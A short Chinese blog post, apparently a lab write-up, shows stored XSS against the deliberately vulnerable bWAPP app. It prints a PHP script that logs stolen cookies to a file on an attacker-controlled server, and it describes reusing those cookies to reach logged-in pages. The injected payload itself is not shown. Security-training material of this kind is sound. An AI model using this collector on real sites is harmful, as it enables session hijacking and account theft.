存储型XSS，持久化，代码是存储在服务器中的，如在个人信息或发表文章等地方，加入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，用户访问该页面的时候触发代码执行。这种XSS比较危险，容易造成蠕虫，盗窃cookie等。
实验内容：通过存储型xss漏洞获取用户cookie
靶机：192.168.1.104（bwapp）
客户机：192.168.1.103（win7）
存放获取cookie脚本的服务器：192.1681.109（ubuntu）
获取cookie的php文件代码：
1 <?php 2 $ip = $_SERVER['REMOTE_ADDR']; 3 $user_agent = $_SERVER['HTTP_USER_AGENT']; 4 $referer = $_SERVER['HTTP_REFERER']; 5 $cookie = $_GET['hack']; 6 $content = "ip: ".$ip." user_agent: ".$user_agent." referer: ".$referer." cookie: ".$cookie." "; 7 $file = fopen("data.txt","a"); 8 fwrite($file,$content); 9 fclose($file); 10 header("location: http://www.baidu.com"); 11 ?>
访问靶机系统：http://192.168.1.104/bWAPP/xss_stored_1.php
输入payload
用户192.168.1.103将在访问这个页面的时候向服务器提交cookie
服务器收到请求后会在当前目录创建一个名为data.txt的文件，存放获取到的内容，其文件内容为：
现在我们已经获取到了cookie，接下来可以使用cookie访问用户登录之后才可以访问到的内容
本文固定链接：http://www.cnblogs.com/hell0w/p/7528926.html 转载请注明出处，谢谢！